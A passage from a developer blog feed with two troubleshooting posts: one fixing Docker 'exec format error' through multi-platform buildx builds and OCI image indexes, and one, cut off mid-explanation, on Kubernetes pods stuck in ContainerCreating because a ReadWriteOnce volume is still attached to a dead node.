<p>So a single-platform push is not a bad default you can flip with one flag — it is a storage limitation. You need either the containerd image store or a builder on the <code class="language-plaintext highlighter-rouge">docker-container</code> driver, which keeps its own content store and can therefore assemble an index.</p>

<h3 id="3-docker-buildx-imagetools-inspect-proves-it-in-one-line">3. <code class="language-plaintext highlighter-rouge">docker buildx imagetools inspect</code> proves it in one line</h3>

<p><code class="language-plaintext highlighter-rouge">docker manifest inspect</code> also works but is still marked experimental in the CLI reference. <code class="language-plaintext highlighter-rouge">imagetools</code> is the modern equivalent and its output makes the difference obvious. A healthy multi-platform image looks like this — this is the real output shape for <code class="language-plaintext highlighter-rouge">alpine</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ docker buildx imagetools inspect alpine
Name:      docker.io/library/alpine:latest
MediaType: application/vnd.docker.distribution.manifest.list.v2+json
Digest:    sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300

Manifests:
  Name:      docker.io/library/alpine:latest@sha256:e7d88de73db3d3fd9b2d63aa7f...
  MediaType: application/vnd.docker.distribution.manifest.v2+json
  Platform:  linux/amd64

  Name:      docker.io/library/alpine:latest@sha256:e047bc2af17934d38c5a7fa9f4...
  MediaType: application/vnd.docker.distribution.manifest.v2+json
  Platform:  linux/arm/v6
</code></pre></div></div>

<p>The broken image has no <code class="language-plaintext highlighter-rouge">Manifests:</code> block at all, because there is no index — the top-level <code class="language-plaintext highlighter-rouge">MediaType</code> is a <em>manifest</em>, not a <em>manifest list</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ docker buildx imagetools inspect registry.example.com/api:1.4.0
Name:      registry.example.com/api:1.4.0
MediaType: application/vnd.oci.image.manifest.v1+json
Digest:    sha256:9c2f...
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">application/vnd.oci.image.manifest.v1+json</code> where you expected <code class="language-plaintext highlighter-rouge">application/vnd.oci.image.index.v1+json</code> is the tell. An index carries a <code class="language-plaintext highlighter-rouge">platform</code> object per entry — <code class="language-plaintext highlighter-rouge">{"architecture": "amd64", "os": "linux"}</code> — and that object is what the puller matches against. With a bare manifest there is nothing to match, so the daemon pulls the only thing on offer and warns instead of failing.</p>

<pre><code class="language-mermaid">sequenceDiagram
    autonumber
    participant Dev as MacBook M3 — linux/arm64
    participant Reg as registry.example.com/api:1.4.0
    participant CI as ubuntu-latest runner — linux/amd64
    participant RunC as containerd plus runc

    Dev-&gt;&gt;Dev: docker build -t api:1.4.0 .
    Note over Dev: no --platform, so TARGETPLATFORM = BUILDPLATFORM = linux/arm64
    Dev-&gt;&gt;Reg: PUT application/vnd.oci.image.manifest.v1+json
    Note over Reg: one manifest, not an index — there is no platform field to match on

    CI-&gt;&gt;Reg: GET manifest, Accept includes image.index.v1+json
    Reg--&gt;&gt;CI: the single arm64 manifest
    Note over CI: WARNING — requested platform linux/arm64/v8 does not match linux/amd64
    CI-&gt;&gt;RunC: create container from the aarch64 rootfs
    RunC--&gt;&gt;CI: execve on /app/server returns ENOEXEC
    Note over CI: exec /app/server — exec format error

    rect rgb(248, 215, 218)
    Note over Reg,RunC: the failure is decided at push time, not at run time
    end
</code></pre>

<h2 id="the-fix">The fix</h2>

<p>Build the image in CI, on a builder that can produce an index, for both platforms.</p>

<h3 id="option-a--multi-platform-build-in-ci-on-the-docker-container-driver-ship-this">Option A — multi-platform build in CI on the <code class="language-plaintext highlighter-rouge">docker-container</code> driver (ship this)</h3>

<p><code class="language-plaintext highlighter-rouge">docker/setup-buildx-action</code> creates a builder on the <code class="language-plaintext highlighter-rouge">docker-container</code> driver by default, which is exactly the driver the classic store lacks. <code class="language-plaintext highlighter-rouge">docker/setup-qemu-action</code> registers the binfmt handlers so the non-native stage can run under emulation.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">build</span>
<span class="na">on</span><span class="pi">:</span> <span class="s">push</span>
<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">docker/setup-qemu-action@v3</span>
      <span class="c1"># creates a builder on the docker-container driver — the default</span>
      <span class="c1"># `docker` driver cannot assemble a manifest list at all</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">docker/setup-buildx-action@v3</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">docker/login-action@v3</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">registry</span><span class="pi">:</span> <span class="s">registry.example.com</span>
          <span class="na">username</span><span class="pi">:</span> <span class="s">${{ secrets.REGISTRY_USER }}</span>
          <span class="na">password</span><span class="pi">:</span> <span class="s">${{ secrets.REGISTRY_TOKEN }}</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">docker/build-push-action@v7</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">context</span><span class="pi">:</span> <span class="s">.</span>
          <span class="c1"># push: true is required — a multi-platform result cannot be</span>
          <span class="c1"># loaded into the local engine store, only pushed to a registry</span>
          <span class="na">push</span><span class="pi">:</span> <span class="kc">true</span>
          <span class="c1"># the one line that turns a single manifest into an OCI image index</span>
          <span class="na">platforms</span><span class="pi">:</span> <span class="s">linux/amd64,linux/arm64</span>
          <span class="na">tags</span><span class="pi">:</span> <span class="s">registry.example.com/api:1.4.0</span>
</code></pre></div></div>

<p>Cross-compile instead of emulating wherever the toolchain allows it. QEMU emulation is, per Docker’s own multi-platform guidance, “much slower than native builds, especially for compute-heavy tasks like compilation.” Go pins the build stage to the runner’s native arch and cross-compiles from there:</p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># --platform=$BUILDPLATFORM keeps the compiler running natively on the</span>
<span class="c"># amd64 runner even when TARGETARCH is arm64 — no QEMU in the hot path</span>
<span class="k">FROM</span><span class="w"> </span><span class="s">--platform=$BUILDPLATFORM golang:1.24-alpine</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">build</span>
<span class="k">ARG</span><span class="s"> TARGETOS</span>
<span class="k">ARG</span><span class="s"> TARGETARCH</span>
<span class="k">WORKDIR</span><span class="s"> /src</span>
<span class="k">COPY</span><span class="s"> go.mod go.sum ./</span>
<span class="k">RUN </span>go mod download
<span class="k">COPY</span><span class="s"> . .</span>
<span class="k">RUN </span><span class="nv">CGO_ENABLED</span><span class="o">=</span>0 <span class="nv">GOOS</span><span class="o">=</span><span class="nv">$TARGETOS</span> <span class="nv">GOARCH</span><span class="o">=</span><span class="nv">$TARGETARCH</span> <span class="se">\
</span>    go build <span class="nt">-trimpath</span> <span class="nt">-o</span> /out/server ./cmd/server

<span class="c"># the final stage is per-platform and contains no toolchain at all</span>
<span class="k">FROM</span><span class="s"> gcr.io/distroless/static-debian12:nonroot</span>
<span class="k">COPY</span><span class="s"> --from=build /out/server /app/server</span>
<span class="k">USER</span><span class="s"> nonroot</span>
<span class="k">ENTRYPOINT</span><span class="s"> ["/app/server"]</span>
</code></pre></div></div>

<h3 id="option-b--turn-on-the-containerd-image-store-locally">Option B — turn on the containerd image store locally</h3>

<p>Enabled by default in Docker Desktop 4.34 and later; in Engine 29.0+ it is the default store. It gives the laptop the ability to build, <code class="language-plaintext highlighter-rouge">--load</code>, and inspect multi-platform images without a separate builder. Do this so local behaviour matches CI, not as a substitute for Option A — you still do not want release images built on a laptop.</p>

<h3 id="option-c--docker_default_platformlinuxamd64">Option C — <code class="language-plaintext highlighter-rouge">DOCKER_DEFAULT_PLATFORM=linux/amd64</code></h3>

<p>Only correct if you genuinely ship one architecture. It makes the laptop build amd64 under QEMU, which is slow, and every local <code class="language-plaintext highlighter-rouge">docker run</code> of that image is then emulated too. It fixes CI by making local development worse.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Check what a base image actually publishes before you pin it.</strong> <code class="language-plaintext highlighter-rouge">docker buildx imagetools inspect &lt;base&gt;</code> on every <code class="language-plaintext highlighter-rouge">FROM</code> line — a base with no <code class="language-plaintext highlighter-rouge">linux/arm64</code> entry silently forces the whole arm64 leg of your build under emulation, or fails outright. This is the most common reason a working multi-platform build regresses after a base-image bump.</p>
  </li>
  <li>
    <p><strong>Expect <code class="language-plaintext highlighter-rouge">unknown/unknown</code> entries in the index and don’t panic.</strong> Provenance attestations with <code class="language-plaintext highlighter-rouge">mode=min</code> are added to images by default, and per Docker’s attestation-storage doc the attestation manifest’s <code class="language-plaintext highlighter-rouge">platform</code> is set to <code class="language-plaintext highlighter-rouge">unknown/unknown</code> with the annotation <code class="language-plaintext highlighter-rouge">vnd.docker.reference.type: attestation-manifest</code>. Older registry tooling sometimes chokes on these. Disable with <code class="language-plaintext highlighter-rouge">BUILDX_NO_DEFAULT_ATTESTATIONS</code> or <code class="language-plaintext highlighter-rouge">--provenance=false</code> only if a downstream consumer genuinely breaks — you are giving up supply-chain metadata.</p>
  </li>
  <li>
    <p><strong>Run a smoke test on the platform you deploy to, not the one you build on.</strong> Add a job step that does <code class="language-plaintext highlighter-rouge">docker run --rm --platform linux/amd64 &lt;tag&gt; --version</code>. Building an index is not proof that the amd64 leg works — a cross-compile can succeed and still produce a binary linked against the wrong libc.</p>
  </li>
  <li>
    <p><strong>Consider native arm64 runners over QEMU.</strong> GitHub’s <code class="language-plaintext highlighter-rouge">ubuntu-24.04-arm</code> and <code class="language-plaintext highlighter-rouge">ubuntu-22.04-arm</code> labels became generally available for public repositories in August 2025 and for private repositories in January 2026. Building each architecture natively and merging with <code class="language-plaintext highlighter-rouge">docker buildx imagetools create</code> is usually faster than one emulated job.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Release images are built by CI with <code class="language-plaintext highlighter-rouge">platforms: linux/amd64,linux/arm64</code>, never pushed from a developer machine</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The build uses a <code class="language-plaintext highlighter-rouge">docker-container</code> driver builder (or the containerd image store) — the default <code class="language-plaintext highlighter-rouge">docker</code> driver cannot produce an image index</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">docker buildx imagetools inspect &lt;tag&gt;</code> reports <code class="language-plaintext highlighter-rouge">MediaType: ...image.index.v1+json</code> with one <code class="language-plaintext highlighter-rouge">Platform:</code> line per deployed architecture</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every <code class="language-plaintext highlighter-rouge">FROM</code> base image is verified to publish all target platforms before it is pinned</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />A post-push job runs the image with an explicit <code class="language-plaintext highlighter-rouge">--platform</code> matching the deploy target</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Why does the daemon warn instead of refusing to run the wrong-architecture image?</strong>
Because a platform mismatch is not always fatal — with <code class="language-plaintext highlighter-rouge">binfmt_misc</code> handlers registered (what <code class="language-plaintext highlighter-rouge">docker/setup-qemu-action</code> installs), an arm64 image <em>will</em> run on an amd64 host under emulation. The daemon can’t know whether emulation is available, so it warns and lets <code class="language-plaintext highlighter-rouge">execve()</code> decide. On a bare CI runner with no handlers registered, <code class="language-plaintext highlighter-rouge">execve()</code> returns <code class="language-plaintext highlighter-rouge">ENOEXEC</code> and you get <code class="language-plaintext highlighter-rouge">exec format error</code>.</p>

<p><strong>I added <code class="language-plaintext highlighter-rouge">--platform linux/amd64,linux/arm64</code> to <code class="language-plaintext highlighter-rouge">docker build</code> and got an error instead of an image. Isn’t that the fix?</strong>
That error is the second link in the chain: <code class="language-plaintext highlighter-rouge">Multi-platform build is not supported for the docker driver.</code> The flag is right, the builder is wrong. Multi-platform images require a store that can hold a manifest list, which the classic image store cannot — switch to a <code class="language-plaintext highlighter-rouge">docker-container</code> builder or enable the containerd image store.</p>

<p><strong>Can I build multi-platform and <code class="language-plaintext highlighter-rouge">--load</code> the result into my local engine?</strong>
Not with the classic image store — that is the same limitation. With the containerd image store you can. Otherwise the result of a multi-platform build has to go straight to a registry with <code class="language-plaintext highlighter-rouge">--push</code>, which is why <code class="language-plaintext highlighter-rouge">docker/build-push-action</code> requires <code class="language-plaintext highlighter-rouge">push: true</code> for this configuration.</p>

<p><strong>Is <code class="language-plaintext highlighter-rouge">docker manifest inspect</code> or <code class="language-plaintext highlighter-rouge">docker buildx imagetools inspect</code> the right tool?</strong>
<code class="language-plaintext highlighter-rouge">imagetools</code>. <code class="language-plaintext highlighter-rouge">docker manifest inspect</code> is documented as experimental in the CLI reference and its behaviour has shifted across releases. <code class="language-plaintext highlighter-rouge">imagetools inspect</code> prints the top-level <code class="language-plaintext highlighter-rouge">MediaType</code> and one <code class="language-plaintext highlighter-rouge">Platform:</code> line per manifest without extra flags, and <code class="language-plaintext highlighter-rouge">--raw</code> gives you the untouched JSON when you need to diff it.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">exec /app/server: exec format error</code> on an amd64 CI runner for an image that runs fine on an Apple Silicon laptop</li>
  <li><strong>Domain:</strong> docker</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.docker.com/build/building/multi-platform/">Multi-platform builds</a> — establishes that multi-platform images require a store supporting manifest lists, that the containerd image store or a <code class="language-plaintext highlighter-rouge">docker-container</code> builder is needed, and that QEMU emulation is much slower than native builds</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/opencontainers/image-spec/blob/main/image-index.md">opencontainers/image-spec — image-index.md</a> — the canonical <code class="language-plaintext highlighter-rouge">application/vnd.oci.image.index.v1+json</code> media type and the per-manifest <code class="language-plaintext highlighter-rouge">platform</code> object that pull-time matching uses</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.docker.com/reference/cli/docker/buildx/imagetools/inspect/">docker buildx imagetools inspect</a> — the verbatim <code class="language-plaintext highlighter-rouge">Manifests:</code> / <code class="language-plaintext highlighter-rouge">Platform:</code> output format quoted above</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.docker.com/build/metadata/attestations/attestation-storage/">Attestation storage</a> — the <code class="language-plaintext highlighter-rouge">unknown/unknown</code> platform value and <code class="language-plaintext highlighter-rouge">vnd.docker.reference.type</code> annotation on attestation manifests</li>
</ul>]]></content><author><name>Mayur</name></author><category term="docker" /><category term="docker" /><category term="troubleshooting" /><category term="debugging" /><category term="buildx" /><category term="multi-arch" /><category term="oci" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: an image built and pushed from an Apple Silicon laptop runs perfectly there but dies instantly with `exec /app/server: exec format error` on an amd64 CI runner. The root cause is that a plain `docker build` publishes a single-platform manifest for the builder's own architecture, and Docker's classic image store cannot hold a manifest list at all. Trace the fix through `docker buildx imagetools inspect`, the OCI image index, and a docker-container-driver multi-platform push.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/docker-works-locally-fails-in-ci.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/docker-works-locally-fails-in-ci.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Kubernetes: Why Is My Pod Stuck in ContainerCreating for 10 Minutes With No Error Events?</title><link href="https://mayurjp.github.io/dev-blog/kubernetes/k8s-pod-stuck-containercreating/" rel="alternate" type="text/html" title="Kubernetes: Why Is My Pod Stuck in ContainerCreating for 10 Minutes With No Error Events?" /><published>2026-09-01T03:30:00+00:00</published><updated>2026-09-01T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/kubernetes/k8s-pod-stuck-containercreating</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/kubernetes/k8s-pod-stuck-containercreating/"><![CDATA[<p><strong>TL;DR:</strong> The pod is not stuck mounting — it is stuck <em>attaching</em>. A ReadWriteOnce PersistentVolume is still recorded as attached to a node that died, so the attach-detach controller in kube-controller-manager refuses to create a <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> for the new node, and the kubelet’s 2-minute mount wait ends in a plain timeout that (since Kubernetes 1.28) produces no event at all.</p>

<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of a Pod like a small VM holding containers sharing same IP — like containers on localhost.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“One pod — <code class="language-plaintext highlighter-rouge">grafana-7d9f5c</code> — has been in <code class="language-plaintext highlighter-rouge">ContainerCreating</code> for twelve minutes. <code class="language-plaintext highlighter-rouge">kubectl describe pod</code> shows the container as <code class="language-plaintext highlighter-rouge">Waiting: ContainerCreating</code> and the Events list has one warning from eleven minutes ago and nothing since. The node it landed on is <code class="language-plaintext highlighter-rouge">Ready</code>, its kubelet is fine, and three other pods that got scheduled to that same node in the same minute went <code class="language-plaintext highlighter-rouge">Running</code> in under ten seconds. The image is already in the node’s cache. I’ve deleted the pod twice and it comes back and hangs in exactly the same way.”</p>
</blockquote>

<p>Three guesses die immediately. It is not image pull — other pods on the node pulled and started fine, and <code class="language-plaintext highlighter-rouge">describe</code> would show <code class="language-plaintext highlighter-rouge">Pulling</code>/<code class="language-plaintext highlighter-rouge">ErrImagePull</code>. It is not CNI — a failed pod sandbox produces a loud, <em>repeating</em> <code class="language-plaintext highlighter-rouge">FailedCreatePodSandBox</code> event every few seconds. It is not scheduling — a pod in <code class="language-plaintext highlighter-rouge">ContainerCreating</code> is already bound to a node, so <code class="language-plaintext highlighter-rouge">spec.nodeName</code> is set and the scheduler is out of the picture.</p>

<p>What is left is the one part of pod startup that is not owned by the kubelet at all.</p>

<h2 id="reproduce">Reproduce</h2>

<p>A single-replica Deployment with a ReadWriteOnce PVC — the shape almost every self-hosted Grafana, Prometheus, or single-instance Postgres ends up with.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">apps/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Deployment</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">grafana</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">replicas</span><span class="pi">:</span> <span class="m">1</span>
  <span class="na">selector</span><span class="pi">:</span>
    <span class="na">matchLabels</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">app</span><span class="pi">:</span> <span class="nv">grafana</span> <span class="pi">}</span>
  <span class="na">template</span><span class="pi">:</span>
    <span class="na">metadata</span><span class="pi">:</span>
      <span class="na">labels</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">app</span><span class="pi">:</span> <span class="nv">grafana</span> <span class="pi">}</span>
    <span class="na">spec</span><span class="pi">:</span>
      <span class="na">containers</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">grafana</span>
          <span class="na">image</span><span class="pi">:</span> <span class="s">grafana/grafana:11.1.0</span>
          <span class="na">volumeMounts</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">data</span>
              <span class="na">mountPath</span><span class="pi">:</span> <span class="s">/var/lib/grafana</span>
      <span class="na">volumes</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">data</span>
          <span class="na">persistentVolumeClaim</span><span class="pi">:</span>
            <span class="na">claimName</span><span class="pi">:</span> <span class="s">grafana-data</span>
<span class="nn">---</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">PersistentVolumeClaim</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">grafana-data</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="c1"># ReadWriteOnce is the whole story. A block-device CSI driver</span>
  <span class="c1"># (EBS, PD, Cinder, vSphere) can attach this PV to exactly one node.</span>
  <span class="na">accessModes</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">ReadWriteOnce"</span><span class="pi">]</span>
  <span class="na">storageClassName</span><span class="pi">:</span> <span class="s">standard-rwo</span>
  <span class="na">resources</span><span class="pi">:</span>
    <span class="na">requests</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">storage</span><span class="pi">:</span> <span class="nv">10Gi</span> <span class="pi">}</span>
</code></pre></div></div>

<p>Now kill the node the pod is running on — hard, the way a real spot-instance reclaim or hypervisor failure kills it. Do <strong>not</strong> <code class="language-plaintext highlighter-rouge">kubectl drain</code> it, because a drain is exactly the graceful path this bug lives outside of.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod <span class="nt">-l</span> <span class="nv">app</span><span class="o">=</span>grafana <span class="nt">-o</span> wide      <span class="c"># note the node, call it node-a</span>
gcloud compute instances stop node-a <span class="nt">--zone</span> us-central1-a   <span class="c"># or: aws ec2 stop-instances --instance-ids ...</span>

<span class="c"># node-a goes NotReady after ~40s, taint-based eviction marks the pod for</span>
<span class="c"># deletion, and the ReplicaSet controller immediately creates a replacement</span>
<span class="c"># because a pod with a deletionTimestamp no longer counts as active.</span>
kubectl get pod <span class="nt">-l</span> <span class="nv">app</span><span class="o">=</span>grafana <span class="nt">-w</span>
<span class="c"># grafana-7d9f5c-abcde   1/1   Terminating         0   3h1m   node-a</span>
<span class="c"># grafana-7d9f5c-fghij   0/1   ContainerCreating   0   0s     node-b</span>
<span class="c"># grafana-7d9f5c-fghij   0/1   ContainerCreating   0   12m    node-b   &lt;-- forever</span>
</code></pre></div></div>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-immediate-trigger-a-volume-that-is-still-attached-somewhere-else">1. The immediate trigger: a volume that is still attached somewhere else</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get volumeattachments <span class="se">\</span>
  <span class="nt">-o</span> custom-columns<span class="o">=</span>NAME:.metadata.name,PV:.spec.source.persistentVolumeName,NODE:.spec.nodeName,ATTACHED:.status.attached
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NAME                   PV                                         NODE     ATTACHED
csi-3f9a1c...          pvc-8e2b1f04-7c1a-4c2e-9a11-6b0d5a3e77ce   node-a   true
</code></pre></div></div>

<p>There is no <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> for <code class="language-plaintext highlighter-rouge">node-b</code>. Not a failing one — none at all. Nothing ever asked for the volume to be attached to the new node.</p>

<p><code class="language-plaintext highlighter-rouge">VolumeAttachment</code> is a real cluster-scoped API object (<code class="language-plaintext highlighter-rouge">storage.k8s.io/v1</code>) with exactly three spec fields — <code class="language-plaintext highlighter-rouge">attacher</code>, <code class="language-plaintext highlighter-rouge">source</code>, and <code class="language-plaintext highlighter-rouge">nodeName</code> — and a <code class="language-plaintext highlighter-rouge">status.attached</code> boolean that, per the API type’s own comment, “must only be set by the entity completing the attach operation, i.e. the external-attacher.” Its continued existence pointing at a dead node is the whole bug.</p>

<h3 id="2-the-mechanism-attach-and-mount-are-two-different-components">2. The mechanism: attach and mount are two different components</h3>

<p>This is the distinction the symptom hides. Getting a CSI volume into a container is two independent phases owned by two independent processes:</p>

<table>
  <thead>
    <tr>
      <th>Phase</th>
      <th>Who does it</th>
      <th>CSI call</th>
      <th>Kubernetes object</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Attach</strong></td>
      <td>attach-detach controller in kube-controller-manager, executed by the <code class="language-plaintext highlighter-rouge">external-attacher</code> sidecar</td>
      <td><code class="language-plaintext highlighter-rouge">ControllerPublishVolume</code></td>
      <td>creates a <code class="language-plaintext highlighter-rouge">VolumeAttachment</code>, sets <code class="language-plaintext highlighter-rouge">status.attached</code></td>
    </tr>
    <tr>
      <td><strong>Mount</strong></td>
      <td>the kubelet on the target node, via the CSI node plugin</td>
      <td><code class="language-plaintext highlighter-rouge">NodeStageVolume</code> then <code class="language-plaintext highlighter-rouge">NodePublishVolume</code></td>
      <td>none — it is filesystem work under <code class="language-plaintext highlighter-rouge">/var/lib/kubelet</code></td>
    </tr>
  </tbody>
</table>

<p>The attach-detach controller keeps a “desired state of world” built from every pod that has <code class="language-plaintext highlighter-rouge">spec.nodeName</code> set and is not terminated. The old pod on <code class="language-plaintext highlighter-rouge">node-a</code> has a <code class="language-plaintext highlighter-rouge">deletionTimestamp</code> but its kubelet is gone, so nothing ever moves it to a terminal phase — as far as the controller is concerned, that pod still legitimately wants that volume on <code class="language-plaintext highlighter-rouge">node-a</code>. Detach is therefore never <em>requested</em>.</p>

<p>Meanwhile the new pod wants the same volume on <code class="language-plaintext highlighter-rouge">node-b</code>. In <code class="language-plaintext highlighter-rouge">attachDesiredVolumes</code>, the controller checks <code class="language-plaintext highlighter-rouge">IsMultiAttachAllowed</code> — false for a <code class="language-plaintext highlighter-rouge">ReadWriteOnce</code> PV — then calls <code class="language-plaintext highlighter-rouge">GetNodesForAttachedVolume</code>, gets back <code class="language-plaintext highlighter-rouge">[node-a]</code>, and calls <code class="language-plaintext highlighter-rouge">reportMultiAttachError</code> instead of attaching.</p>

<p>That produces the one warning you saw:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Warning  FailedAttachVolume  11m  attachdetach-controller
  Multi-Attach error for volume "pvc-8e2b1f04-7c1a-4c2e-9a11-6b0d5a3e77ce"
  Volume is already used by pod(s) grafana-7d9f5c-abcde
</code></pre></div></div>

<p>And exactly one, ever. The controller sets <code class="language-plaintext highlighter-rouge">MultiAttachErrorReported</code> on the volume immediately after emitting it, guarding against a repeat. Every other stuck-pod warning in Kubernetes repeats on a loop; this one does not.</p>

<h3 id="3-why-the-kubelet-then-goes-completely-silent">3. Why the kubelet then goes completely silent</h3>

<p>The kubelet does its part in <code class="language-plaintext highlighter-rouge">volumeManager.WaitForAttachAndMount</code>. It polls every <code class="language-plaintext highlighter-rouge">podAttachAndMountRetryInterval</code> (300ms) up to <code class="language-plaintext highlighter-rouge">podAttachAndMountTimeout</code> — a literal <code class="language-plaintext highlighter-rouge">2*time.Minute + 3*time.Second</code> — and on failure builds this error:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span>
    <span class="s">"unmounted volumes=%v, unattached volumes=%v, failed to process volumes=%v: %w"</span><span class="p">,</span>
    <span class="n">unmountedVolumes</span><span class="p">,</span>
    <span class="n">unattachedVolumes</span><span class="p">,</span>
    <span class="n">volumesNotInDSW</span><span class="p">,</span>
    <span class="n">err</span><span class="p">)</span>
</code></pre></div></div>

<p>Those first two lists are the attach/mount split made visible, and reading them correctly is the fastest diagnosis in this whole post:</p>

<ul>
  <li>a volume in <strong><code class="language-plaintext highlighter-rouge">unattached volumes=</code></strong> means <code class="language-plaintext highlighter-rouge">PluginIsAttachable</code> is true and the volume is not in the node’s actual state — the <em>controller-side</em> attach never happened. Look at kube-controller-manager.</li>
  <li>a volume in <strong><code class="language-plaintext highlighter-rouge">unmounted volumes=</code></strong> only means the attach succeeded and the <em>node-side</em> <code class="language-plaintext highlighter-rouge">NodeStageVolume</code>/<code class="language-plaintext highlighter-rouge">NodePublishVolume</code> is failing. Look at the CSI node plugin on that node.</li>
</ul>

<p>Here it is <code class="language-plaintext highlighter-rouge">unattached volumes=[data]</code>. But you will not find that string anywhere, because of this in <code class="language-plaintext highlighter-rouge">pkg/kubelet/kubelet.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">kl</span><span class="o">.</span><span class="n">volumeManager</span><span class="o">.</span><span class="n">WaitForAttachAndMount</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">pod</span><span class="p">);</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
    <span class="c">// ...</span>
    <span class="c">// wait.Interrupted(err) is TRUE for a poll deadline, so a pure</span>
    <span class="c">// timeout takes neither branch below — no event, no error log.</span>
    <span class="k">if</span> <span class="o">!</span><span class="n">wait</span><span class="o">.</span><span class="n">Interrupted</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">kl</span><span class="o">.</span><span class="n">recorder</span><span class="o">.</span><span class="n">Eventf</span><span class="p">(</span><span class="n">pod</span><span class="p">,</span> <span class="n">v1</span><span class="o">.</span><span class="n">EventTypeWarning</span><span class="p">,</span> <span class="n">events</span><span class="o">.</span><span class="n">FailedMountVolume</span><span class="p">,</span>
            <span class="s">"Unable to attach or mount volumes: %v"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
        <span class="n">klog</span><span class="o">.</span><span class="n">ErrorS</span><span class="p">(</span><span class="n">err</span><span class="p">,</span> <span class="s">"Unable to attach or mount volumes for pod; skipping pod"</span><span class="p">,</span> <span class="o">...</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="no">false</span><span class="p">,</span> <span class="n">err</span>
<span class="p">}</span>
</code></pre></div></div>

